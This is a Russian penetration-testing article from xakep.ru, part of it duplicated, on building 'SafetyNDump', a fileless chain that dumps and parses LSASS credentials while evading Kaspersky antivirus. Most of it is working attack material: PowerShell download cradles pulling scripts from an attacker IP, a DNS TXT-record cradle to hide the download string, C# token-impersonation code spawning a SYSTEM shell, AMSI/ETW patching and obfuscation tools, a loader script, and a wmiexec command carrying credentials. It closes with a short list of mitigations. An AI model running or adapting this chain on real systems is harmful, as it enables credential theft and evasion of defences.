В этой статье подробно разберем скрытое применение утилиты NanoDump из памяти, когда моделируемый злоумышленник не обладает «маячком» C&C на атакуемом сетевом узле, и сравним такой способ использования NanoDump с применением SafetyKatz.
NanoDump уже успел обрести широкую популярность у вендоров AV/EDR, что поспособствовало написанию для него кучи детектов, поэтому теперь мы можем более свободно поделиться своим опытом его использования на «внутряках».
SafetyKatz декомпозирует процесс извлечения данных аутентификации из LSASS на два этапа: непосредственное создание дампа с помощью API-ручки dbghelp.dll!MiniDumpWriteDump и парсинг полученного дампа посредством модифицированного (уменьшенного по своим возможностям) Mimikatz. Последний, в свою очередь, загружается в память по методу PE Reflection и выполняет захардкоженные команды sekurlsa::logonpasswords и sekurlsa::ekeys в отношении уже созданного ранее дампа памяти. По завершении работы утилиты привнесенные артефакты — минидамп, сохраненный по пути C:\Windows\Temp\debug.bin, — удаляются с файловой системы жертвы.
Такой подход в свое время позволял уменьшить количество детектов использования sekurlsa::logonpasswords «на живую», сокращал время на выдергивание хешей и ключей (немалый дамп памяти больше не нужно тащить к себе на тачку) и прятал сигнатуру Mimikatz от статического анализа. Примерно такой же подход долгое время применялся моей командой с тем лишь отличием, что я использовал новомодный NanoDump из памяти для создания слепка памяти и библиотеку на C# — для его парсинга на месте.
Дальше мы рассмотрим поподробнее, как создать свой «SafetyNDump» для фана и профита, но сперва ознакомимся со вспомогательным инструментарием.
Сразу оговорюсь, что далее не будут рассмотрены действующие на момент написания статьи техники обхода AV/EDR для дампа LSASS. Цель публикации — рассказать, как мы долгое время «абьюзили» одну из лазеек уклонения от «Касперского», и тем самым поделиться своим опытом с коллегами, играющими на стороне дефенса. На данный момент описываемый вектор атаки закрыт.
Мы будем целиться в исполнение накрафченного на C# кода через механизм System.Reflection.Assembly, что поможет еще больше упростить жизнь этичному злоумышленнику при подключении к сетевым узлам через службу WinRM (Windows Remote Management) или, например, с помощью скриптов exec.py из Impacket.
На просторах интернета есть куча материалов, как выполнять код на «шарпах» через PowerShell, но мне, как обычно, не хватало а‑в-т‑о-м‑а-т‑и-з‑а-ц‑и-и... Поэтому в свободное от работы время я написал простую питонячью утилиту bin2pwsh, которая позволяет конвертировать собранные на C# бинари в лаунчеры на PowerShell.
Кратко опишу ее возможности:
Со вспомогательным инструментарием разобрались, вернемся к нашей проблеме. Чтобы оставаться организованными и во имя концепции «разделяй и властвуй», не будем отходить от нарратива декомпозиции SafetyKatz и поочередно рассмотрим создание дампа и его парсинг.
Особенность использования опции -eh в том, что нужно запускать NanoDump с привилегиями NT AUTHORITY\SYSTEM, что вносит дополнительные трудности. Тащить на таргет PsExec? Создавать немедленную привилегированную задачу планировщика? Подменять сервисные бинари? Долго, нудно и шумно.
Я решил пойти по пути Token Impersonation (MITRE ATT&CK T1134.001) и модифицировать утилиту tokenduplicator, которой часто пользуюсь как бесфайловой альтернативой PsExec. Сперва посмотрим, как она работает в исходном виде. Я клонирую репозиторий, соберу релиз и сделаю из него PowerShell-лаунчер с помощью bin2pwsh.
Загружаем в память и стягиваем токен у winlogon.exe, чтобы запустить шелл с привилегиями системы.
Все выглядит отлично, за исключением одного но: работать это будет только из интерактивного шелла.
Если вспомнить, чему нас учил OSEP, станет понятно, что, если мы хотим запустить CreateProcessWithTokenW из неинтерактивной сессии, нужно поправить параметры окружения dwLogonFlags, dwCreationFlags, lpEnvironment и lpCurrentDirectory, установленные по дефолту в tokenduplicator. Без этих опций запущенный процесс тут же крашнется, так как у аккаунта SYSTEM (который мы олицетворяем) не будет корректно заданного сеанса входа.
Я убрал лишний информационный вывод, и у меня получился такой TokenDuplicator.Program.Main:
Теперь при запуске Invoke-TokenDuplicator из Evil-WinRM мы успешно добиваемся исполнения команды на PowerShell, причем без отображения всплывающего окна интерпретатора у залогиненного пользователя. Да, мы не захватываем вывод исполняемой команды, но это нам и не сильно надо.
Однако здесь снова на пути могут встать антивирусные решения, которым обычно очень не нравится, когда нечто вроде IEX (IWR http://...) передается строкой в те места, где происходит спаун процесса (будь то создание объектов класса Win32_Process через WMI, старт задач планировщика или взаимодействие с Windows API).
На помощь приходит старый трюк с резолвом TXT-записи подконтрольного доменного имени и его последующий пайп в Invoke-Expression. Этим ходом мы уклоняемся от анализа строковых артефактов загрузки и исполнения «чего‑то непонятного», что ожидаемо станет триггером для AV. Осознание того, что это сработает на нашем любимом антивирусе, пришло после экспериментов с запуском PowerShell через wmiexec.py.
В целом, я думаю, идея ясна: идем в настройки своего домена и делаем примерно так, как на рисунке ниже.
После этого можем передавать URL, с которого надо грузить полезную нагрузку, следующим образом в IEX:
С учетом этого трюка теперь наш код для спауна нового процесса с кредлом будет выглядеть так:
Теперь все, что осталось сделать для первой части (создания дампа LSASS), — это слепить лаунчер на PowerShell для NanoDump и убедиться, что все работает.
Не будем отходить от плана и перейдем ко второму таску — парсингу созданного дампа on-site.
Чтобы использовать эту утилиту (по мне, так это больше библиотека), я захардкожу входные аргументы и обфусцирую строки с помощью InvisibilityCloak — если этого не сделать, сканирование памяти процесса может найти сходство кода с «мимиком» и забить тревогу. Сначала я тоже исправлял сигнатуру минидампа перед его чтением (NanoDump ее намеренно ломает, чтобы не плодить IOC при сохранении файла на диск), но на самом деле в этом нет необходимости.
Далее я скомпилирую бинарь и... Снова заюзаю bin2pwsh, чтобы превратить его в скрипт на PowerShell.
Проверяем, что все работает, и выходим на финишную прямую — объединение всей этой вкуснятины в один сценарий на PowerShell.
Меняем заглушки на Base64-строки байтов TokenDuplicator и MiniDump, и мы готовы к финальной пробе! Сейчас этот метод уже не отработает на «Касперском», поэтому на нем показывать результат бессмысленно. Вместо этого я постараюсь воспроизвести свои действия с реальных пентестов на демонстрационном стенде.
Что здесь произошло:
Автор snovvcrash
Источник xakep.ru
NanoDump уже успел обрести широкую популярность у вендоров AV/EDR, что поспособствовало написанию для него кучи детектов, поэтому теперь мы можем более свободно поделиться своим опытом его использования на «внутряках».
Вводная
Для начала немного поностальгируем по временам, когда деревья были зеленее, а антивирусные решения не были так жестоки по отношению к рядовым исполнителям проектов по тестированию на проникновение. В то время (около пяти лет до момента написания статьи) в составе коллекции GhostPack появился интересный инструмент SafetyKatz, в рамках разработки которого исследователь @harmj0y вдохнул новую жизнь в небезызвестный Mimikatz, уже на тот момент «палившийся» всем и вся при его использовании в чистом виде.
SafetyKatz декомпозирует процесс извлечения данных аутентификации из LSASS на два этапа: непосредственное создание дампа с помощью API-ручки dbghelp.dll!MiniDumpWriteDump и парсинг полученного дампа посредством модифицированного (уменьшенного по своим возможностям) Mimikatz. Последний, в свою очередь, загружается в память по методу PE Reflection и выполняет захардкоженные команды sekurlsa::logonpasswords и sekurlsa::ekeys в отношении уже созданного ранее дампа памяти. По завершении работы утилиты привнесенные артефакты — минидамп, сохраненный по пути C:\Windows\Temp\debug.bin, — удаляются с файловой системы жертвы.
Такой подход в свое время позволял уменьшить количество детектов использования sekurlsa::logonpasswords «на живую», сокращал время на выдергивание хешей и ключей (немалый дамп памяти больше не нужно тащить к себе на тачку) и прятал сигнатуру Mimikatz от статического анализа. Примерно такой же подход долгое время применялся моей командой с тем лишь отличием, что я использовал новомодный NanoDump из памяти для создания слепка памяти и библиотеку на C# — для его парсинга на месте.
Дальше мы рассмотрим поподробнее, как создать свой «SafetyNDump» для фана и профита, но сперва ознакомимся со вспомогательным инструментарием.
Сразу оговорюсь, что далее не будут рассмотрены действующие на момент написания статьи техники обхода AV/EDR для дампа LSASS. Цель публикации — рассказать, как мы долгое время «абьюзили» одну из лазеек уклонения от «Касперского», и тем самым поделиться своим опытом с коллегами, играющими на стороне дефенса. На данный момент описываемый вектор атаки закрыт.
System.Reflection.Assembly. Король умер, да здравствует король!
Мне очень нравится PowerShell и его возможности в контексте наступательной безопасности. В случае, когда в целевой инфраструктуре не зажжен AppLocker + Constrained Language Mode, простота применения этого инструмента Windows-автоматизации на обычных пентестах — просто подарок для моделируемого злоумышленника. На киберучениях с необходимостью скрытого исполнения команд его тоже можно приспособить под нужды исполнителя с помощью патчинга ETW, вызова ранспейса System.Management.Automation напрямую (я смотрю на тебя, PowerShx!) и других триксов.Мы будем целиться в исполнение накрафченного на C# кода через механизм System.Reflection.Assembly, что поможет еще больше упростить жизнь этичному злоумышленнику при подключении к сетевым узлам через службу WinRM (Windows Remote Management) или, например, с помощью скриптов exec.py из Impacket.
На просторах интернета есть куча материалов, как выполнять код на «шарпах» через PowerShell, но мне, как обычно, не хватало а‑в-т‑о-м‑а-т‑и-з‑а-ц‑и-и... Поэтому в свободное от работы время я написал простую питонячью утилиту bin2pwsh, которая позволяет конвертировать собранные на C# бинари в лаунчеры на PowerShell.
Кратко опишу ее возможности:
- Автоматически создает «запускаторы» на PowerShell из скомпилированных исполняемых файлов на C# на основе предопределенных шаблонов (классический или с использованием примитивов Emit). Байты исполняемых файлов сперва сжимаются с помощью zlib и оборачиваются в Base64 для их встраивания в код скриптов .ps1.
- Можно использовать безумно крутой инструмент Donut, если нужно запускать неуправляемый код из PowerShell для системных вызовов — прямых (форк Donut от @s4ntiago_p для Linux) или непрямых (закрытый форк Donut от @KlezVirus и Porchetta Industries для Windows с возможностью перехеширования на лету). Само исполнение неуправляемого кода достигается за счет предварительной кросс‑компиляции в Linux (с помощью Mono) или обычной компиляции в Windows (с помощью csc.exe) селф‑инжектора на C# на основе темплейтов от @bohops (Unmanaged Code Execution with .NET Dynamic PInvoke) и @dr4k0nia (HInvoke and avoiding PInvoke). Они работают без статических импортов P/Invoke для вызовов WinAPI.
- Позволяет применять несложные техники уклонения от AV: патчинг AMSI, ETW, RC4-шифрование полезной нагрузки с помощью встроенных механизмов Windows и обфускация статических строк.
Пример 1. Базовый
Это простая упаковка Rubeus в PowerShell-лаунчер на основе стандартного шаблона System.Reflection.Assembly.
Код:
curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exe
bin2pwsh.py Rubeus.exe
Код:
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Rubeus.ps1")
Invoke-Rubeus hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!
Пример 2. Продвинутый
Теперь посмотрим на продвинутую упаковку Rubeus в PowerShell-лаунчер на основе шаблона System.Reflection.Emit и его исполнение через запуск селф‑инжектора шелл‑кода, полученного с помощью форка Donut за авторством KlezVirus с динамическим перехешированием непрямых системных вызовов (подробнее о технике рассказывает ролик на YouTube). Чаще всего этот способ используется с нативным кодом, однако паковать таким образом управляемый код также никто не запрещает.
Код:
curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exe
py .\bin2pwsh.py 'Rubeus.exe hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!' -d -wh C:\Tools\SysWhispers3\syswhispers.py -whm jumper_randomized --emit --debug --silent
Код:
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-RubeusInject.ps1")
Invoke-RubeusInject
Пример 3. PowerSharpPack своими руками
Ну и на сладкое — пример создания аналога репозитория PowerSharpPack (от @ShitSecure) из SharpCollection (от @Flangvik) за считаные секунды.
Код:
git clone https://github.com/Flangvik/SharpCollection
cd SharpCollection/NetFramework_4.0_Any
for exe in ./*.exe; do bin2pwsh.py $exe --silent; done
Код:
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Seatbelt.ps1")
Invoke-Seatbelt -group=system
Со вспомогательным инструментарием разобрались, вернемся к нашей проблеме. Чтобы оставаться организованными и во имя концепции «разделяй и властвуй», не будем отходить от нарратива декомпозиции SafetyKatz и поочередно рассмотрим создание дампа и его парсинг.
Пишем SafetyNDump. Создание дампа LSASS в обход AV
Итак, первое, с чем нужно разобраться, — это создание дампа памяти lsass.exe. Способ должен прокатить с действующим средством защиты.Олицетворение SYSTEM из неинтерактивной консоли
На момент тестирования NanoDump при работе с «Касперским» стреляла опция -eh/--elevate-handle, позаимствованная автором из этой презенташки. Основная идея заключается в открытии хендла к целевому процессу с привилегиями PROCESS_QUERY_LIMITED_INFORMATION и последующем их повышении до необходимых с помощью ntdll.dll!NtDuplicateObject. Как я писал в предыдущей статье, один из способов блокировки доступа к LSASS — сделать так, чтобы было невозможно получить привилегированный дескриптор lsass.exe, и этот трюк позволяет обойти упомянутое ограничение.Особенность использования опции -eh в том, что нужно запускать NanoDump с привилегиями NT AUTHORITY\SYSTEM, что вносит дополнительные трудности. Тащить на таргет PsExec? Создавать немедленную привилегированную задачу планировщика? Подменять сервисные бинари? Долго, нудно и шумно.
Я решил пойти по пути Token Impersonation (MITRE ATT&CK T1134.001) и модифицировать утилиту tokenduplicator, которой часто пользуюсь как бесфайловой альтернативой PsExec. Сперва посмотрим, как она работает в исходном виде. Я клонирую репозиторий, соберу релиз и сделаю из него PowerShell-лаунчер с помощью bin2pwsh.
Код:
git clone https://github.com/magnusstubman/tokenduplicator
cd .\tokenduplicator
devenv /build Release .\tokenduplicator.sln
cd .\tokenduplicator\bin\Release
py .\bin2pwsh.py .\tokenduplicator.exe
Загружаем в память и стягиваем токен у winlogon.exe, чтобы запустить шелл с привилегиями системы.
Код:
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-tokenduplicator.ps1")
Invoke-tokenduplicator winlogon cmd
Все выглядит отлично, за исключением одного но: работать это будет только из интерактивного шелла.
Если вспомнить, чему нас учил OSEP, станет понятно, что, если мы хотим запустить CreateProcessWithTokenW из неинтерактивной сессии, нужно поправить параметры окружения dwLogonFlags, dwCreationFlags, lpEnvironment и lpCurrentDirectory, установленные по дефолту в tokenduplicator. Без этих опций запущенный процесс тут же крашнется, так как у аккаунта SYSTEM (который мы олицетворяем) не будет корректно заданного сеанса входа.
Я убрал лишний информационный вывод, и у меня получился такой TokenDuplicator.Program.Main:
Код:
public static void Main()
{
Process[] processes = Process.GetProcessesByName("winlogon");
IntPtr hProcess = processes[0].Handle;
OpenProcessToken(
hProcess,
0x0002, // TOKEN_DUPLICATE
out IntPtr hToken);
DuplicateTokenEx(
hToken,
0xF01FF, // TOKEN_ALL_ACCESS
IntPtr.Zero,
2, // SecurityImpersonation
1, // TokenPrimary
out IntPtr hDupToken);
CreateEnvironmentBlock(out IntPtr lpEnvironment, hToken, false);
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = @"WinSta0\Default";
StringBuilder sbSystemDir = new StringBuilder(256);
GetSystemDirectory(sbSystemDir, 256);
CreateProcessWithTokenW(
hDupToken,
1, // LOGON_WITH_PROFILE
null,
"powershell iex(new-object net.webclient).downloadstring(""""http://10.10.13.37/cradle.ps1"""")",
0x400, // CREATE_UNICODE_ENVIRONMENT
lpEnvironment,
sbSystemDir.ToString(),
ref si,
out PROCESS_INFORMATION _);
}
SafetyNDump.Net.WebClient или Resolve-DnsName?
Чтобы уложиться в 1024 символа, отведенные на аргумент lpCommandLine функции CreateProcessWithTokenW, нам хочешь не хочешь придется использовать загрузочный кредл, чтобы вытянуть и исполнить внешний скрипт на PowerShell, содержащий NanoDump, из которого мы предварительно сделаем лаунчер с помощью bin2pwsh и Donut.Однако здесь снова на пути могут встать антивирусные решения, которым обычно очень не нравится, когда нечто вроде IEX (IWR http://...) передается строкой в те места, где происходит спаун процесса (будь то создание объектов класса Win32_Process через WMI, старт задач планировщика или взаимодействие с Windows API).
На помощь приходит старый трюк с резолвом TXT-записи подконтрольного доменного имени и его последующий пайп в Invoke-Expression. Этим ходом мы уклоняемся от анализа строковых артефактов загрузки и исполнения «чего‑то непонятного», что ожидаемо станет триггером для AV. Осознание того, что это сработает на нашем любимом антивирусе, пришло после экспериментов с запуском PowerShell через wmiexec.py.
В целом, я думаю, идея ясна: идем в настройки своего домена и делаем примерно так, как на рисунке ниже.
После этого можем передавать URL, с которого надо грузить полезную нагрузку, следующим образом в IEX:
Код:
$url="http://10.10.13.37/payload.txt"
IEX(Resolve-DnsName "cradle.contoso.com" 16).Strings[0]
С учетом этого трюка теперь наш код для спауна нового процесса с кредлом будет выглядеть так:
Код:
CreateProcessWithTokenW(
hDupToken,
1, // LOGON_WITH_PROFILE
null,
$"powershell $url=""""{args[0]}"""";IEX(Resolve-DnsName """"cradle.contoso.com"""" 16).Strings[0]",
0x400, // CREATE_UNICODE_ENVIRONMENT
lpEnvironment,
sbSystemDir.ToString(),
ref si,
out PROCESS_INFORMATION _);
Код:
curl -sSL https://github.com/helpsystems/nanodump/raw/main/dist/nanodump.x64.exe -o nanodump.exe
bin2pwsh.py 'nanodump.exe -w C:\Windows\Temp\debug.bin -eh' --donut --debug
# Вытаскиваем содержимое тела функции в сырой скрипт, который выполнится сразу после IEX
vim Invoke-nanodumpInject.ps1
Код:
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-TokenDuplicator.ps1")
Invoke-TokenDuplicator http://10.10.13.37/Invoke-nanodumpInject.ps1
Get-Item C:\Windows\Temp\debug.bin
Не будем отходить от плана и перейдем ко второму таску — парсингу созданного дампа on-site.
Пишем SafetyNDump
Парсинг MiniDump
Главная проблема, которая, на мой взгляд, поспособствовала созданию SafetyKatz — отсутствие гибкого опенсорсного софта (например, на том же C#) для парсинга формата MiniDump. Эту фичу можно было бы куда более изящно встроить в свой код. Отсюда нужда во всех этих выкрутасах с отраженной загрузкой PE в память. Однако время идет, наступательное ПО совершенствуется, равно как и антивирусное, и поэтому сейчас мы можем парсить LSASS из памяти более изящно. Например, с помощью варианта MiniDump от @cube0x0.Чтобы использовать эту утилиту (по мне, так это больше библиотека), я захардкожу входные аргументы и обфусцирую строки с помощью InvisibilityCloak — если этого не сделать, сканирование памяти процесса может найти сходство кода с «мимиком» и забить тревогу. Сначала я тоже исправлял сигнатуру минидампа перед его чтением (NanoDump ее намеренно ломает, чтобы не плодить IOC при сохранении файла на диск), но на самом деле в этом нет необходимости.
Код:
py .\InvisibilityCloak.py -d .\MiniDump -n (-join ((65..90) + (97..122) | Get-Random -Count 16 | % )) -m reverse
Далее я скомпилирую бинарь и... Снова заюзаю bin2pwsh, чтобы превратить его в скрипт на PowerShell.
Проверяем, что все работает, и выходим на финишную прямую — объединение всей этой вкуснятины в один сценарий на PowerShell.
Объединение результатов
Думаю, всем будет проще, если я просто приведу финальный код, сопровожденный комментариями.
Код:
function Invoke-Stage
{
# Если 1, то первая фаза: повышаемся до системы + делаем дамп
if ($args[0] -eq "1")
{
$b64 = "<TOKENDUPLICATOR_BYTES_COMPRESSED_BASE64>"
$namespace = "TokenDuplicator"
$assemblyArgs = (, [string[]]$args[1..($args.Count)])
}
# Иначе (если 2), то вторая фаза: парсим дамп, сделанный на первой фазе
else
{
$b64 = "<MINIDUMP_BYTES_COMPRESSED_BASE64>"
$namespace = "wUFgAhfzjrXKDRGY"
$assemblyArgs = $null
}
# Обратное преобразование: Base64 -> распаковка -> массив байтов
$a = New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String($b64))
$b = New-Object System.IO.Compression.DeflateStream($a, [System.IO.Compression.CompressionMode]::Decompress)
$c = New-Object System.IO.MemoryStream;
$b.CopyTo($c)
[byte[]]$d = $c.ToArray()
# Если вторая фаза, то нам нужен вывод сборки С# (перенаправляем стандартные дескрипторы вывода в строки)
# Иначе (если первая фаза), вывод не требуется -> skip
if ($args[0] -eq "2")
{
$e = [System.Console]::Out
$f = [System.Console]::Error
$g = New-Object System.IO.StringWriter
$h = New-Object System.IO.StringWriter
[System.Console]::SetOut($g)
[System.Console]::SetError($h)
}
# Отраженно загружаем в память сборку С#, ищем в ней точку входа по именам пространства имен, класса и метода и делаем ее Invoke с аргументами
$i = [System.Reflection.Assembly]::Load($d)
$j = [Reflection.BindingFlags]"Public,NonPublic,Static"
$k = $i.GetType("${namespace}.Program", $j)
$l = $k.GetMethod("Main", $j)
$l.Invoke($null, $assemblyArgs)
# Если вторая фаза, то нам нужен вывод сборки С# (восстанавливаем стандартные дескрипторы, выводим результат из строк на экран)
# Иначе (если первая фаза), вывод не требуется -> skip
if ($args[0] -eq "2")
{
[System.Console]::SetError($f)
[System.Console]::SetOut($e)
$m = ""
$m += $g.ToString()
$m += $h.ToString()
$m
}
}
function Invoke-SafetyNDump
{
# Первая фаза: TokenDuplicator + NanoDump --elevate-handle
# Дополнительно на вход передаем URL, откуда будем качать Invoke-nanodumpInject.ps1
Invoke-Stage 1 $args[0]; Sleep 10
# Вторая фаза: MiniDump
Invoke-Stage 2; rm C:\Windows\Temp\debug.bin
}
Код:
~ wmiexec.py -silentcommand -nooutput megacorp.local/snovvcrash:'Passw0rd!'@PC01.megacorp.local 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe url=""""http://10.10.13.37/Invoke-SafetyNDump.ps1"""";iex(resolve-dnsname """"cradle.contoso.com"""" 16).strings[0];Invoke-SafetyNDump http://10.10.13.37/payload.txt'
Что здесь произошло:
- Проверили, что результирующих файлов нет на машине‑жертве (откуда взялся файл lol.txt, смотри в шаге 2).
- Дернули
Invoke-SafetyNDump.ps1с помощьюwmiexec.pyбез запроса вывода результата команды (флаги -silentcommand -nooutput). Чтобы перенаправить вывод Invoke-SafetyNDump, для демонстрации я изменил его запуск следующим образом:Invoke-Stage 2 > C:\Windows\Temp\lol.txt. В файлеpayload.txtсодержится PowerShell-лаунчер NanoDump. - Показали, что NanoDump отработал, чтением результатов из файла
C:\Windows\Temp\lol.txt. В результате мы получили свои хеши.
Противодействие
Вместо заключения я приведу список рекомендаций по митигации злоупотребления нарушителем возможностями PowerShell. Предполагается, что речь идет о корпоративной среде Active Directory и обезопасить нам нужно в первую очередь терминальные серверы и рабочие станции пользователей.- Установить режим Constrained Language для блокирования потенциально опасных функций средства PowerShell (например, командлета Invoke-Expression), отключения возможности создания объектов COM и .NET, добавления собственных типов данных с помощью командлета Add-Type и других возможностей, которые широко используются вредоносным ПО.
- Настроить правила безопасности выполнения сценариев через средство AppLocker или с помощью механизма SRP (политики ограничения ПО, Software Restriction Policies) для запрета использования сторонних скриптов PowerShell.
- Отключить движок небезопасной версии PowerShell 2.0 (в которой не используется механизм защиты AMSI), а также отключить среду разработки PowerShell ISE.
- Внедрить использование политик безопасности Windows Defender Application Control (WDAC) для контроля запуска исполняемых файлов в соответствии с особенностями рабочего процесса сотрудников.
Автор snovvcrash
Источник xakep.ru